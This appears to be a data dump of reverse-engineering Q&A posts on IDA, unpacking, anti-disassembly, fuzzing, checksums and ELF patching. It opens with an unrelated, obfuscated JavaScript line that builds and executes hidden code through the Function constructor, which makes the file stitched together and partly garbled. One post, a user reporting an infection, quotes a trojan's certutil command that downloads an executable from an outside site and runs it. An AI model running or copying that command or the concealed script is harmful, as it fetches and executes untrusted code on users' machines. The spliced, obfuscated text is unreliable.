É=-~-~[],ó=-~É,Ë=É<<É,þ=Ë+~[];Ì=(ó-ó)[Û=(''+{})[É+ó]+(''+{})[ó-É]+([].ó+'')[ó-É]+(!!''+'')[ó]+({}+'')[ó+ó]+(!''+'')[ó-É]+(!''+'')[É]+(''+{})[É+ó]+({}+'')[ó+ó]+(''+{})[ó-É]+(!''+'')[ó-É]][Û];Ì(Ì((!''+'')[ó-É]+(!''+'')[ó]+(!''+'')[ó-ó]+(!''+'')[É]+((!''+''))[ó-É]+([].$+'')[ó-É]+'\''+''+'\\'+(ó-É)+(É+É)+(ó-É)+'\\'+(þ)+(É+ó)+'\\'+(ó-É)+(ó+ó)+(ó-ó)+'\\'+(ó-É)+(ó+ó)+(É)+'\\'+(ó-É)+(É+ó)+(þ)+'\\'+(ó-É)+(É+ó)+(É+ó)+'\\'+(ó-É)+(ó+ó)+(ó-ó)+'\\'+(ó-É)+(ó+ó)+(É+É)+'\\'+(É+ó)+(ó-ó)+'\\'+(É+É)+(þ)+'\\'+(ó-É)+(ó-ó)+(É+ó)+'\\'+(ó-É)+(É+ó)+(ó+ó)+'\\'+(ó-É)+(ó+ó)+(É+É)+'\\'+(ó-É)+(ó+ó)+(É)+'\\'+(ó-É)+(É+É)+(É+ó)+'\\'+(ó-É)+(þ)+(É)+'\\'+(É+É)+(ó-ó)+'\\'+(ó-É)+(É+ó)+(É+É)+'\\'+(ó-É)+(É+É)+(É+ó)+'\\'+(É+É)+(ó-ó)+'\\'+(ó-É)+(É+ó)+(É+ó)+'\\'+(ó-É)+(É+ó)+(þ)+'\\'+(ó-É)+(ó+ó)+(É+É)+'\\'+(É+É)+(ó-ó)+'\\'+(ó-É)+(É+É)+(É+É)+'\\'+(ó-É)+(É+É)+(É+ó)+'\\'+(É+É)+(ó-ó)+'\\'+(ó-É)+(ó+ó)+(ó-ó)+'\\'+(ó-É)+(É+É)+(ó-É)+'\\'+(ó-É)+(ó+ó)+(ó)+'\\'+(ó-É)+(ó+ó)+(ó)+'\\'+(ó-É)+(É+É)+(É+ó)+'\\'+(É+É)+(þ)+'\\'+(É+ó)+(ó-É)+'\\'+(þ)+(ó)+'\\'+(ó-É)+(É+ó)+(ó-É)+'\\'+(ó-É)+(É+É)+(ó+ó)+'\\'+(É+ó)+(ó-ó)+'\\'+(ó-É)+(É+É)+(ó-É)+'\\'+(þ)+(É+ó)+'\\'+(þ)+(É+ó)+'\\'+(É+É)+(þ)+'\\'+(ó-É)+(ó+ó)+(É+É)+'\\'+(ó-É)+(É+ó)+(þ)+'\\'+(ó-É)+(ó+ó)+(É+É)+'\\'+(ó-É)+(É+ó)+(þ)+'\\'+(ó+ó)+(ó-É)+'\\'+(ó+ó)+(É)+'\\'+(ó+ó)+(ó)+'\\'+(ó-É)+(É+ó)+(É+É)+'\\'+(ó-É)+(É+ó)+(þ)+'\\'+(ó-É)+(É+ó)+(É+É)+'\\'+(É+É)+(þ)+'\\'+(É+ó)+(ó-É)+'\\'+(ó-É)+(þ)+(ó)+'\\'+(ó-É)+(É+É)+(ó-É)+'\\'+(ó-É)+(É+ó)+(É+É)+'\\'+(ó-É)+(É+É)+(É+ó)+'\\'+(ó-É)+(ó+ó)+(É)+'\\'+(ó-É)+(ó+ó)+(É+É)+'\\'+(É+ó)+(ó-ó)+'\\'+(É+É)+(þ)+'\\'+(ó-É)+(É+É)+(É)+'\\'+(ó-É)+(ó+ó)+(É)+'\\'+(ó-É)+(É+É)+(ó-É)+'\\'+(ó-É)+(ó+ó)+(ó+ó)+'\\'+(ó-É)+(É+ó)+(þ)+'\\'+(É+É)+(þ)+'\\'+(É+ó)+(ó-É)+'\\'+(þ)+(ó)+'\\'+(ó-É)+(þ)+(É+ó)+'\\'+(ó-É)+(É+É)+(É+ó)+'\\'+(ó-É)+(É+ó)+(É+É)+'\\'+(ó-É)+(ó+ó)+(ó)+'\\'+(ó-É)+(É+É)+(É+ó)+'\\'+(ó-É)+(þ)+(ó)+'\\'+(ó-É)+(É+É)+(ó-É)+'\\'+(ó-É)+(É+ó)+(É+É)+'\\'+(ó-É)+(É+É)+(É+ó)+'\\'+(ó-É)+(ó+ó)+(É)+'\\'+(ó-É)+(ó+ó)+(É+É)+'\\'+(É+ó)+(ó-ó)+'\\'+(É+É)+(þ)+'\\'+(ó-É)+(É+É)+(ó+ó)+'\\'+(ó-É)+(É+É)+(ó-É)+'\\'+(ó-É)+(É+ó)+(ó-É)+'\\'+(ó-É)+(É+ó)+(É+É)+'\\'+(É+ó)+(ó+ó)+'\\'+(É+ó)+(ó+ó)+'\\'+(É+ó)+(ó+ó)+'\\'+(É+É)+(þ)+'\\'+(É+ó)+(ó-É)+'\\'+(þ)+(ó)+'\\'+(ó-É)+(þ)+(É+ó)+'\'')())()
+
+" +['c#']," Title: C# - Identical block of code, but IL instructions changed after update. How do I modify the more convoluted update?Body: Background info - For the game 7 Days To Die, there is a C# wrapper that implements the Harmony API, which allows us to intercept the game's function calls, as well as changing the IL instructions themselves. + +I originally used the Transpiler functionality to remove a condition that's used in two checks. Which was easy enough, as I just needed to remove three instructions. Here's a screenshot showing them: + + + +On the left is the old code, which was easy enough to modify. I just needed to remove the instructions at indexes 79, 80, and 81. Which changes the C# code from: + +
this.cmds[1].enabled = (_world.IsEditor() && flag);
+
+ +To: + +
this.cmds[1].enabled = (flag);
+
+ +Which worked perfectly. However, the DLL was changed in an update. The C# code is the exact same, but the IL instructions differ at this very last condition check. And I can't quite wrap my head around it. + +The original was easy enough. IL 79 prepares something for the next function call, IL 80 makes the call, and IL 81 jumps past the next couple of instructions if it returns false. In ASM, the three instructions would basically be pop (call class' function via a pointer), cmp (check the boolean result), and jz (jump if false). + +But the updated IL instructions on the right don't make any sense to me. There's no branch, there's no jump. How do I work with that to remove the _world.IsEditor() condition? + +Edit: Pastebin of the C# function +" +"['ida', 'disassembly', 'windows', 'debugging', 'memory']"," Title: Is it possible to use a program's GUI abilities without the GUI?Body: Is it possible to use/call programs' GUI abilities directly without using the GUI (programmatically, not by keyboarding)? + +For example, a program with abilities nested too deeply in cascading submenus: + + + +Would it be possible to use/trigger any of those menu items directly/programmatically... as if you had clicked it directly using the GUI? + +I guess sort of like a reverse-engineered ""API"". I'd assume it'd require some sort of live debugging to see where the program reaches or calls for in memory when a GUI item is clicked. Then hopefully after you've seen where that is, you could call it yourself at will, or record the program's messaging/queuing to do it, and then you could replay that at will, able to use or activate abilities of the program without having to touch the GUI. + +Another simple example: + + + +In Windows Notepad, the only way to enable ""Word-Wrap"" is by clicking it in the menu bar menus (keyboard navigating the same). But behind the GUI curtain, somewhere in memory there's a function that gets called or flag bit set. + +I'm wondering if it's possible to trigger/call those abilities/functions directly yourself (programmatically), pulling the GUI puppet-strings manually, activating the functions on the other end of the strings without using the GUI. + +Since a GUI is basically just a point-and-click map with strings attached to back-end functions/code in memory, I would think this might be possible, barring program memory protections. + +Note: I'm asking this question 100% from a reverse-engineering perspective, and not for how to do this via macro/scripting/automation. I'm well aware of tools like AutoHotkey, AutoIt, etc., but that's not why I'm asking the question. +" +"['ida', 'debugging', 'idapython', 'unpacking']"," Title: How to dump a unpacked PE and still get the API names with IDA when they are called directly?Body: So i have a PE that unpacks itself and rewrites the entrypoint and so on (not the header) + +i unpacked it using scylla and x32dbg, i set the OEP to the previous OEP since it writes the unpacked one from there, and the IAT search was successful + +but the problem is after dumping it and loading it in IDA so i can use the decompiler, the API calls are like MEMORY[address](a , b . c) + +i couldn't use the IDA to debug it because it gave some error before reaching WriteProcessMemory, i guess some anti debugging stuff, even with scyllahide i couldn't bypass these errors, but weirdly enough x32dbg had no problems, errors are because of wrong memory access, but somehow x32dbg has no problem! + +so how can i fix this? i checked the addresses in MEMORY[address] and they are in fact the address of API calls, but i guess since the program is using them directly and not via IAT then IDA cannot know what are they, i guess one fix would be somehow including those dlls in their exact address in the dumped PE but i dont know how +" +"['ida', 'c', 'anti-debugging']"," Title: How to solve this anti-disassembler trick?Body: I have this __asm instruction in C code: + +
int func_0x8b4c55a0()
+{
+    __asm
+    {
+        call $ +5
+        add[esp],5
+        ret
+    }
+
+}
+int main()
+{
+    char cVar1;
+    if ((cVar1 = func_0x8b4c55a0(), cVar1 == -0xe) || 1)
+    {
+        int a = 5;
+        int b = 3;
+        int c = 0;
+        c = a + b;
+    }
+    return 0;
+}
+
+ +And this is how it looks like in IDA: + + +How it is possible to solve this ret trick? +" +"['ida', 'debugging', 'idapython', 'unpacking', 'ida-plugin']"," Title: How to load a library at a specific address in IDA and re-analyze the program statically?Body: I have a dumped PE that has calls like + +
call    ds:dword_4010B4
+
+ +now these are actually addresses of APIs in kernel32.dll + +my problem is IDA doesn't know that these are kernel32 APIs and therefore in the decompiler all i see is stuff like + +
MEMORY[address](&v1, ""explorer.exe %s"", &v2);
+
+ +which are API calls without names + +so how can i sync these API calls with their actual names? is there any way i can tell IDA that for example kernel32.dll is loaded at address x so it can therefore load it there statically or dynamically and resolve these names ? +" +"['ida', 'assembly', 'debugging', 'malware', 'static-analysis']"," Title: Why Windows Defender is not able to get rid of this trojan?Body: Every time I start my PC, Windows Defender shows a notification saying that the virus Trojan:Win32/Ceprolad.A was deleted, which means indeed that it wasn't, as most antivirus I've tried these days (Panda, Avast...) + +The details of this thread are: + +
+ CmdLine: C:\Windows\System32\cmd.exe /C certutil.exe -urlcache -split + -f http://tfortytimes.com/app/app.exe C:\Users\NMolinero\AppData\Local\Temp\csrss\scheduled.exe && + C:\Users\NMolinero\AppData\Local\Temp\csrss\scheduled.exe /31340 +
+ +I'd like to find it and delete it, instead of just restoring my Windows OS to a previous point, so I was thinking to debug the code using IDA, Ollydbg... but I'm quite new on this, so I'm not sure how to get a sample of the malware to analyze it (I have a virtual machine for that) or if there is a better way to do it. + +Any suggestions will be welcome! +" +"['disassembly', 'binary-analysis', 'linux', 'fuzzing']"," Title: submitting input into AFL fuzzerBody: I have some questions about the AFL Fuzzer: + +
    +
  1. How does the AFL Fuzzer know where to inject the payload in the code I compile? For instance if I want to inject it in a specific parameter, how do I do it?
  2. +
  3. As I understood, if I put all test cases in the input directory it knows to build randomly injections based on that input, yes?
  4. +
  5. I saw a video shows that if for instance there are two inputs in the code, so in the test case each line is for each input. Is that correct? Since I want put a full message (for example HTTP request) into one variable, so how do I do it ?
  6. +
  7. I have compiled everything correctly but for some reason it does not find any new paths. In addition, if I do not put the -m none I get the following error : ""Fork server crashed with signal 6"".
  8. +
  9. I don't understand when to put @@.
  10. +
+" +"['assembly', 'firmware', 'file-format', 'cryptography']"," Title: Uniden FW HackingBody: I recently purchased a Uniden Radio Scanner (BCD325P2). I looked at the Windows FW Update App in dnSpy, then pulled the FW bin directly. + +FCC Parts List gets me R5F5631BCDFP#V0, which appears to be a Renesas Electronics 32-bit Microcontrollers - MCU RX631 1MB/128KB. + +The latest FW bin for this model is here: + +https://www.mediafire.com/file/vp2drmh7dvgjpfi/BCD325P2_V1_08_01.bin/file + +The FW bin looks packed or obfuscated, there are no strings and binwalk shows nothing. + +Could someone point me in the right direction? + +I would really like to get this loaded into a disassembler. +" +"['ida', 'static-analysis']"," Title: IDA Change ram and rom without reopen IDABody: when I open binary and write ram and rom , I don't know how to change it (and re parse all the binary) without close and open again the binary. + +Is there any smart way ? +" +"['ida', 'c++', 'calling-conventions', 'arm64']"," Title: indirect return value addressBody: I have usercall with calling convention I do not fully understand, it returns std::string but IDA recognize it as void. + +I've noticed that every calle reads from x8/w8 afterwards, from wikipedia; + +
+ x8: used to hold indirect return value address +
+ +Can someone explain ""indirect return value address"" ? + +From +https://docs.microsoft.com/en-us/cpp/build/arm64-windows-abi-conventions?view=vs-2019 + +
+ Return values + + Integral values are returned in x0. + + Floating-point values are returned in s0, d0, or v0, as appropriate. + + HFA and HVA values are returned in s0-s3, d0-d3, or v0-v3, as + appropriate. + + Types returned by value are handled differently depending on whether + they have certain properties. Types which have all of these + properties, + + they're aggregate by the C++14 standard definition, that is, they have + no user-provided constructors, no private or protected non-static data + members, no base classes, and no virtual functions, and they have a + trivial copy-assignment operator, and they have a trivial destructor, + use the following return style: + + Types less than or equal to 8 bytes are returned in x0. Types less + than or equal to 16 bytes are returned in x0 and x1, with x0 + containing the lower-order 8 bytes. + + For types greater than 16 bytes, + the caller shall reserve a block of memory of sufficient size and + alignment to hold the result. The address of the memory block shall be + passed as an additional argument to the function in x8. The callee may + modify the result memory block at any point during the execution of + the subroutine. The callee isn't required to preserve the value stored + in x8. + + All other types use this convention: + + The caller shall reserve a block of memory of sufficient size and + alignment to hold the result. The address of the memory block shall be + passed as an additional argument to the function in x0, or x1 if $this + is passed in x0. The callee may modify the result memory block at any + point during the execution of the subroutine. The callee returns the + address of the memory block in x0. +
+ +Update 2: + +From ARM docs + +
+ Registers with a special purpose + + • X8 is the indirect result + register. This is used to pass the address location of an indirect + result, for example, where a function returns a large structure. + ... + + ... the structure contains more than 16 bytes. According to the AAPCS for + AArch64, the returned object is written to the memory pointed to by XR. +
+" +['pintool']," Title: Obtaining a relation between reads and writes with PinBody: I'll be honest, Pin is confounding my intuition. Let's say, for the sake of argument, I have a line + +
 a = b + c
+
+ +and I wish to then store the addresses of b and c as a's dependencies, say, in a map, + +
m[address of a].append(address of b, address of c)
+
+ +My current understanding of this involves + +
if (INS_IsMemoryRead(ins)||INS_IsMemoryWrite(ins))
+for(memOp=0;memOp<INS_MemoryOperandCount(ins);memOp++)
+INS_InsertPredicatedCall(ins, IPOINT_BEFORE, (AFUNPTR) AnalysisFunction, IARG_MEMORYOP_EA, memOp, IARG_THREAD_ID, IARG_END);
+
+ +where AnalysisFunction would essentially take the memory address from the operation and somehow return it, or put it into a map. But I'm not entirely certain how to do that, or how to correlate the reads to writes properly. + +Any help would be appreciated +" +"['ida', 'arm', 'ios']"," Title: IDA - ObjC - Meaning of _BYTE and dword_0?Body: This is my first experience disassembling/reverse engineering, and am having a bit of difficulty keeping up. For reference, I'm trying to uncover the inner workings of a pretty good library in my industry. The following method takes in a string and returns some content represented by long long. + +
signed __int64 __cdecl +[Lib generateLongLongValue:](Lib_meta *self, SEL a2, id a3)
+{
+  void *v3; // x0
+  void *v4; // x19
+  char *v5; // x0
+  char *v6; // x20
+  unsigned __int64 v7; // x25
+  signed __int64 v8; // x22
+  signed __int64 v9; // x26
+  int v10; // w0
+  signed __int64 v11; // x8
+  signed __int64 v12; // x23
+  int v13; // w0
+  __int16 v14; // w24
+  __int16 i; // w23
+  __int16 v16; // w0
+  bool v17; // w9
+  signed __int64 v18; // x20
+
+  v3 = (void *)objc_retain(a3, a2);
+  v4 = v3;
+  v5 = (char *)objc_msgSend(v3, ""length"");
+  v6 = v5;
+  v7 = (unsigned __int64)(v5 - 1);
+  if ( v5 == (_BYTE *)&dword_0 + 1 )
+  {
+LABEL_25:
+    v18 = -1LL;
+    goto LABEL_26;
+  }
+  ...
+}
+
+ +Converted into standard Objective-C, this would look like so (I think): + +
+ (NSInteger)generateLongLongValue:(NSString*)string
+{
+    NSInteger v18;
+
+    if (string.length - 1 == (_BYTE *)&dword_0 + 1) {
+        v18 = -1LL;
+        goto LABEL_26;
+    }
+
+    ...
+}
+
+ +I'm really lost as to what (_BYTE *)&dword_0 + 1 is supposed to mean here. Could somebody please provide some sort of explanation, or provide resources that I can look into so I can understand for myself? + +Cheers +" +"['hardware', 'serial-communication']"," Title: id the HW port and protocolBody: i have a vtech baby monitor and since i want to be aware of it while i'm playing in VR (PC, HTC vaive/Valve index) i still want to see if the baby starts crying. + +on this monitor there is external access to a 6 pin connector. opening the unit i see the pins are labeled: +SF_CSB, +SF_MISO, +VDD3, +TX, +RX, +GND. + +The VDD,TX,RX,GND i think its a UART port, i need help identifying the other 2 pins. i found them on some LG TV's manuals but without explanation. + +anybody is familiure with this port? +" +"['binary-analysis', 'binary', 'ghidra', 'x86-64']"," Title: Finding ""func main"" in a stripped binary written in GOBody: I'm reversing a binary that was apart of a CTF I was involved in about a month ago. It was too large of a binary to do during the challenge so I am doing it now. + +I am having trouble finding the main function because the entry function is not the same as if this was written in C and compiled with GCC. I was wondering how I could go about finding the main function and if there were any resources that could assist me in my endeavors. +" +"['hardware', 'crc', 'binary-diagnosis']"," Title: Reverse engineering a checksum algorithmBody: I am attempting to implement an editor for a discontinued hardware drum synthesizer which uses undocumented system exclusive MIDI messages for communication. I've figured out the patch format, but I am hitting a wall with the checksum algorithm(s) being used. I've tried a variety of approaches & tools (reveng, for instance) to attempt to figure out the calculation and have reached the limits of my abilities. + +This is all complicated by the fact that MIDI is restricted to 7 bits within the message (the header and footer bytes F0/F7 excepted). So there's the additional question of how overflows are handled. + +There are two types of messages I'm attempting to understand: + +A voice request: + +
F0 33 7F 7F 08 03 07 40 00 0E F7
+
+ +or + +
F0 33 7F 7F 08 03 05 00 13 F7
+
+ +in which the penultimate byte (0E, 13 in the examples) is some sort of checksum. I'm assuming that the two messages use the same algorithm, but I'm not even sure which bytes are actually being considered for the checksum calculation (since 0xF0 0x33 0x7F is always there for every message sent from or received by this instrument, it might be excluded, but I can't be sure). Here are a few more samples: + +
F0 33 7F 7F 08 03 07 40 1A 57 F7
+F0 33 7F 7F 08 03 07 40 1B 5F F7
+F0 33 7F 7F 08 03 07 40 1C 67 F7
+F0 33 7F 7F 08 03 07 40 1D 6F F7
+F0 33 7F 7F 08 03 07 40 1E 77 F7
+F0 33 7F 7F 08 03 07 40 1F 7F F7
+F0 33 7F 7F 08 03 07 40 20 1C F7
+F0 33 7F 7F 08 03 07 40 21 14 F7
+F0 33 7F 7F 08 03 07 40 22 0C F7
+F0 33 7F 7F 08 03 07 40 23 04 F7
+F0 33 7F 7F 08 03 07 40 24 3C F7
+F0 33 7F 7F 08 03 07 40 25 34 F7
+F0 33 7F 7F 08 03 07 40 26 2C F7
+F0 33 7F 7F 08 03 07 40 27 24 F7
+F0 33 7F 7F 08 03 07 40 28 5C F7
+F0 33 7F 7F 08 03 07 40 29 54 F7
+
+ +or grouped by checksum: + +
F0 33 7F 7F 08 03 07 44 0D 00 F7
+F0 33 7F 7F 08 03 07 45 1F 00 F7
+F0 33 7F 7F 08 03 07 47 2A 00 F7
+
+F0 33 7F 7F 08 03 07 44 1C 01 F7
+F0 33 7F 7F 08 03 07 45 0E 01 F7
+F0 33 7F 7F 08 03 07 46 29 01 F7
+
+F0 33 7F 7F 08 03 07 44 2F 02 F7
+F0 33 7F 7F 08 03 07 46 1A 02 F7
+F0 33 7F 7F 08 03 07 47 08 02 F7
+
+F0 33 7F 7F 08 03 07 45 2C 03 F7
+F0 33 7F 7F 08 03 07 46 0B 03 F7
+F0 33 7F 7F 08 03 07 47 19 03 F7
+
+F0 33 7F 7F 08 03 07 40 23 04 F7
+F0 33 7F 7F 08 03 07 41 31 04 F7
+F0 33 7F 7F 08 03 07 42 16 04 F7
+F0 33 7F 7F 08 03 07 43 04 04 F7
+
+F0 33 7F 7F 08 03 07 41 20 05 F7
+F0 33 7F 7F 08 03 07 42 07 05 F7
+F0 33 7F 7F 08 03 07 43 15 05 F7
+
+F0 33 7F 7F 08 03 07 40 01 06 F7
+F0 33 7F 7F 08 03 07 41 13 06 F7
+F0 33 7F 7F 08 03 07 43 26 06 F7
+
+F0 33 7F 7F 08 03 07 40 10 07 F7
+F0 33 7F 7F 08 03 07 41 02 07 F7
+F0 33 7F 7F 08 03 07 42 25 07 F7
+
+F0 33 7F 7F 08 03 07 44 0F 10 F7
+F0 33 7F 7F 08 03 07 45 1D 10 F7
+F0 33 7F 7F 08 03 07 47 28 10 F7
+
+ +The checksums cover the full 7-bit range from 00 to 7F, but the occurrence of the lower 4 bits appears to be related to the lower 4 bits of the 0x4n byte. + +The other type of message is the actual voice data. This data uses a 28-bit (4 byte) checksum at the end of a packet (212 bytes total): + +
F0337F19 08030600 00040000 00000000 03600000 02540070 18001640 17100D19 16010808 60021219 4B103112 4A000000 06600000 003C0070 18001640 17100D19 32652008 34033D48 03102C4F 0A000000 16420000 00580110 18001640 16580D19 1E012C08 7401760A 13102F17 47000000 16420000 00500070 18001640 16580D19 32007408 68033D75 7B102F57 4C000000 06420000 00500070 18001640 16580D19 32007408 7002517A 13102F17 4A000000 16420000 00580070 18001640 16580D19 32005C09 10023202 13102F57 48000001 5D7C65F7
+
+ +or + +
F0337F19 08030600 00040000 00000000 03610000 02540070 18001640 17100D19 16010808 60021219 4B103112 4A000000 06600000 003C0070 18001640 17100D19 32652008 34033D48 03102C4F 0A000000 16420000 00580110 18001640 16580D19 1E012C08 7401760A 13102F17 47000000 16420000 00500070 18001640 16580D19 32007408 68033D75 7B102F57 4C000000 06420000 00500070 18001640 16580D19 32007408 7002517A 13102F17 4A000000 16420000 00580070 18001640 16580D19 32005C09 10023202 13102F57 48000000 6A7101F7
+
+ +or + +
F0337F19 08030600 00040000 00000000 03620000 02540070 18001640 17100D19 16010808 60021219 4B103112 4A000000 06600000 003C0070 18001640 17100D19 32652008 34033D48 03102C4F 0A000000 16420000 00580110 18001640 16580D19 1E012C08 7401760A 13102F17 47000000 16420000 00500070 18001640 16580D19 32007408 68033D75 7B102F57 4C000000 06420000 00500070 18001640 16580D19 32007408 7002517A 13102F17 4A000000 16420000 00580070 18001640 16580D19 32005C09 10023202 13102F57 48000003 73762BF7
+
+ +The changes to the 1st byte of the checksum (01, 00, 03) in response to the change to the lower 4 bits of byte 41 (0, 1, 2) is certainly a hint, but I'm not getting it. + +Anyway, if anyone has a suggestion about a reasonable way to proceed, I'd be thankful. The company which manufactured this instrument has no interest in supporting their old(er) hardware, and refuses to provide any sort of system exclusive documentation. The company has used CRC algorithms on other instruments for similar purposes, but nothing corresponds to what I'm seeing here. + +If there's any interest, I'm happy to provide additional sample data (I realize that just a few samples isn't adequate) -- I have 256 request messages and more than 160 complete voices available for analysis. I can also generate data to test the effect of changes to different parts of the full message. Thanks for taking a look. + +UPDATE 1: + +I've solved the checksum for the short messages. It's the CRC16(CCITT) of (full message previous to that byte) >> 9 & 0x7F. I figured this out by hacking on the binary of a computer-based utility program from the company (requests banks of voices) in a disassembler. I'm guessing that the long messages are something similar, just with more bytes, will report back when I know more. + +UPDATE 2: + +The long messages also use the above formula for the penultimate byte. However, the 3 bytes previous remain a mystery at this point and I'm not finding anything conspicuous in the binary I have -- these bytes are generated on the hardware, rather than at the 'client'. It still looks like a 16-bit value spread across 3 7-bit-limited bytes. I just haven't determined how that value is generated. +" +['ida']," Title: IDA decompiled function signature mismatchBody: I am on the last version of IDA. + +There is a function B, that its signature is B(int a,int b). + +There is a function A that calls it. +But in function A, the call appears like B(12) for example. + +How do I make it synchronized / decompile just function A again? + +Thanks. +" +"['ida', '.net']"," Title: Extract .NET code from React Native for WindowsBody: I'm interested in reversing a UWP program made using React Native for Windows. Once such applications are compiled, the logic is contained in one dll. After opening this dll into IDA, it appears pretty clear that the file contains a .NET part (located in the section .rdata) and generic stub as native code in the .text section. + +Did anyone already succeed to extract the .NET code in the .rdata section and open it in a standard decompiler? + +Cheers! +" +"['binary-analysis', 'encodings', 'binary-format', 'networking']"," Title: Which JSON object compact binary serialization is this?Body: I am trying to reverse engineer an unknown JSON binary serialization format found in a request-response pair between a mobile app, and a server. + +Does anyone recognize this? I've attached the first 640B of 68 request and response pairs + +Request data: https://termbin.com/4atc + +Response data: https://termbin.com/04ib + +Update: +Response data(ungz): https://termbin.com/31va + +One full req: https://termbin.com/5sa7 + +One full resp: https://termbin.com/m2wy + +Based on the embedded string, I thought the encoding was CBOR RFC7049 based on the Type, Length, Value encoding, 0x78 0x6b followed by 107 characters. + +
00000180: e807 4100 0878 6b4e 4641 4e44 524f 4944 312d 5052 562d 502d 4c33 2d53 414d 5355  ..A..xkNFANDROID1-PRV-P-L3-SAMSU
+000001a0: 534d 2d47 3933 3546 2d34 3434 352d 3030 3030 3030 3030 3030 3030 3030 3030 3030  SM-G935F-4445-000000000000000000
+000001c0: 3030 3030 3030 3030 3030 3030 3030 3030 3030 3030 3030 3030 3030 3030 3030 3030  00000000000000000000000000000000
+000001e0: 3030 3030 3030 3030 3030 3030 3030 305f 3531 0950 7673 c75e e626 663d b4f0 5e93  000000000000000_51.Pvs.^.&f=..^.
+
+ +According to RFC7049 Table 5, this is a UTF-8 string. + +
   +-----------------+-------------------------------------------------+
+   | Byte            | Structure/Semantics                             |
+   +-----------------+-------------------------------------------------+
+   | 0x78            | UTF-8 string (one-byte uint8_t for n, and then  |
+   |                 | n bytes follow)                                 |
+
+ +However, I am still unable to decode the entire message. Any pointers appreciated! +" +"['ida', 'static-analysis', 'flash', 'rom']"," Title: Memory map in AVR Harvard architectureBody: In this video https://youtu.be/D0VKuZuuvW8?t=259 . + +You can see that flash address is beteen 0x0 to 0x3fff. and Data memory ( Io register and SRAM ) is between 0x0 to 0x8ff . + +So in the video he ask how that can be passable? and he answer that AVR used Harvard architecture , and data and code in diffrent address (not like x86) + +I don't understand the answer . + +In ida , how can I parse this binary? what is the address of ram and what is the address of rom ? ( I must type it while I load binary file of avr ). + +In 0x0 there is 32 registers (data) or code in flash? +" +['binary-analysis']," Title: CISC/RISC in reverse engineeringBody: What is the difference between CISC/RISC when reverse engineering a binary? + +I know the difference between them, but is there any difference while reversing? Is it easier to reverse CISC than RISC? +" +"['elf', 'pie']"," Title: Convert PIE ELF binary into No-PIEBody: Is it possible changing few bytes for converting an elf binary from PIE to No-PIE (ELF)? +I know that in the header if e_type is: + - 3 then the program is PIE + - 2 then the program is No-PIE + +So I tried to change that byte and in fact readelf -h shows me: + +
ELF Header:
+  Magic:   7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00 
+  Class:                             ELF64
+  Data:                              2's complement, little endian
+  Version:                           1 (current)
+  OS/ABI:                            UNIX - System V
+  ABI Version:                       0
+  Type:                              EXEC (Executable file)
+  Machine:                           Advanced Micro Devices X86-64
+  Version:                           0x1
+  Entry point address:               0x630
+  Start of program headers:          64 (bytes into file)
+  Start of section headers:          6576 (bytes into file)
+  Flags:                             0x0
+  Size of this header:               64 (bytes)
+  Size of program headers:           56 (bytes)
+  Number of program headers:         9
+  Size of section headers:           64 (bytes)
+  Number of section headers:         29
+  Section header string table index: 28
+
+ +Then I changed the e_entry from 0x630 to 0x400630. + +readelf -h output: + +
ELF Header:
+  Magic:   7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00 
+  Class:                             ELF64
+  Data:                              2's complement, little endian
+  Version:                           1 (current)
+  OS/ABI:                            UNIX - System V
+  ABI Version:                       0
+  Type:                              EXEC (Executable file)
+  Machine:                           Advanced Micro Devices X86-64
+  Version:                           0x1
+  Entry point address:               0x400630
+  Start of program headers:          64 (bytes into file)
+  Start of section headers:          6576 (bytes into file)
+  Flags:                             0x0
+  Size of this header:               64 (bytes)
+  Size of program headers:           56 (bytes)
+  Number of program headers:         9
+  Size of section headers:           64 (bytes)
+  Number of section headers:         29
+  Section header string table index: 28
+
+ +However if I try to launch the program it crashes. + +
$ strace ./elf-patched.exe 
+execve(""./elf-patched.exe"", [""./elf-patched.exe""], 0x7ffe0c2b88c0 /* 66 vars */) = -1 EPERM (Operation not permitted)
++++ killed by SIGSEGV +++
+[1]    7239 segmentation fault (core dumped)  strace ./elf-patched.exe
+
+ +What other bytes should I change (If it's possible with few modifications) ? +" +"['ida', 'disassemblers', 'dos']"," Title: x86 disassembly confusion regarding VESA functionsBody: I'm trying to disassemble an old DOS application and got stuck at some point of the VESA graphics handling. + +The VESA function to be called will be stored in a global variable, e.g. vesa_fct_dword_749C8 = 0x4f00, 0x4f01, etc. +After checking the return value, the application will do some additional magic, which I, frankly, don't understand. My guess is that it will check for a specific error return value (0x01, in particular), but I'm really not quite sure about it and how it's actually done. + +Here's the relevant snippet: + +
cseg01:000159D8 loc_159D8:                              ; CODE XREF: checkForVesa+D4↑j
+cseg01:000159D8                 mov     eax, vesa_fct_dword_749C8
+cseg01:000159DD                 mov     edx, vesa_fct_dword_749C8
+cseg01:000159E3                 sar     edx, 1Fh
+cseg01:000159E6                 shl     edx, 8
+cseg01:000159E9                 sbb     eax, edx
+cseg01:000159EB                 sar     eax, 8
+cseg01:000159EE                 and     eax, 0FFh
+cseg01:000159F3                 cmp     eax, 1
+cseg01:000159F6                 jnz     short loc_15A01
+cseg01:000159F8                 mov     [ebp+var_4], 0
+cseg01:000159FF                 jmp     short loc_15A29
+
+ +Maybe someone knows what's up with that part, that would be really appreciated! +" +"['ollydbg', 'x64dbg']"," Title: Nop the string in online gamesBody: So i found a string ""RespawnTime"" in online games and i just edit the string to nop and it worked perfectly, my player is no more waiting to respawn + +My question is how is that possible? I just edit the string name to NOP asm , isn't we must edit the procedure/func to make it work, how by just edit the string it works? +" +['decryption']," Title: Help with reversing decryption in assemblyBody: I've used x64dbg to work out decryption in a particular program. I've found where it changes the encrypted material into readable text but can't work out the best way to use this information to convert multiple files. + +Is it a standardized encryption method? (eg. blowfish/aes) + + +It basically copies the file to memory then cycles through this (and one other cycle above it). + +Thanks! + +Addit 15/12/2019: +OUTER FUNCTION + + +Ouput of signsrch: + +
  offset   num  description [bits.endian.size]
+  --------------------------------------------
+  0002b542 2249 TEA1_DS [32.le.4]
+  00059090 2065 Haval init [32.le.32&]
+  00059090 919  Blowfish bfp table [32.le.72]
+  000590b0 1054 Haval hash pass2 [32.le.128&]
+  000590e0 921  Blowfish ks0 table [32.le.1024]
+  000590e0 2335 Blowfish_s_init [32.le.4096]
+  00059138 2067 Haval mc3 [32.le.128]
+  00059198 2219 HAVAL2_DS [32.le.32]
+  000591b8 2069 Haval mc4 [32.le.128]
+  00059218 2217 HAVAL1_DS [32.le.32]
+  00059238 2071 Haval mc5 [32.le.128]
+  000594e0 923  Blowfish ks1 table [32.le.1024]
+  000598e0 925  Blowfish ks2 table [32.le.1024]
